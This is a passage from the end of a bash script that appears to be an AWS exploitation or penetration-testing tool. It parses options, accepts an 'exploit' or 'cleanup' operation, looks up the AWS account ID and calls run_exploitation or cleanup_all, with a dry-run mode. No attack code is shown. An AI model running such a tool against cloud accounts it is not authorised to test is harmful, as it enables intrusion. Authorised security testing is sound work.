                ;;
            *)
                log ERROR "Unknown option: $1"
                usage
                exit 1
                ;;
        esac
    done
    
    # Validate operation
    if [ -z "$OPERATION" ]; then
        log ERROR "Operation is required"
        usage
        exit 1
    fi
    
    if [ "$OPERATION" != "exploit" ] && [ "$OPERATION" != "cleanup" ]; then
        log ERROR "Invalid operation: $OPERATION"
        usage
        exit 1
    fi
    
    # Check dependencies
    check_dependencies
    
    # Get AWS account info
    get_account_id
    
    # Execute operation
    case $OPERATION in
        exploit)
            if [ "$DRY_RUN" = true ]; then
                log WARNING "DRY RUN MODE - No changes will be made"
            fi
            run_exploitation
            ;;
        cleanup)
            cleanup_all
            ;;
    esac
    
    log INFO "Operation completed. Review ${LOG_FILE} for details."
}

# Run main function
main "$@"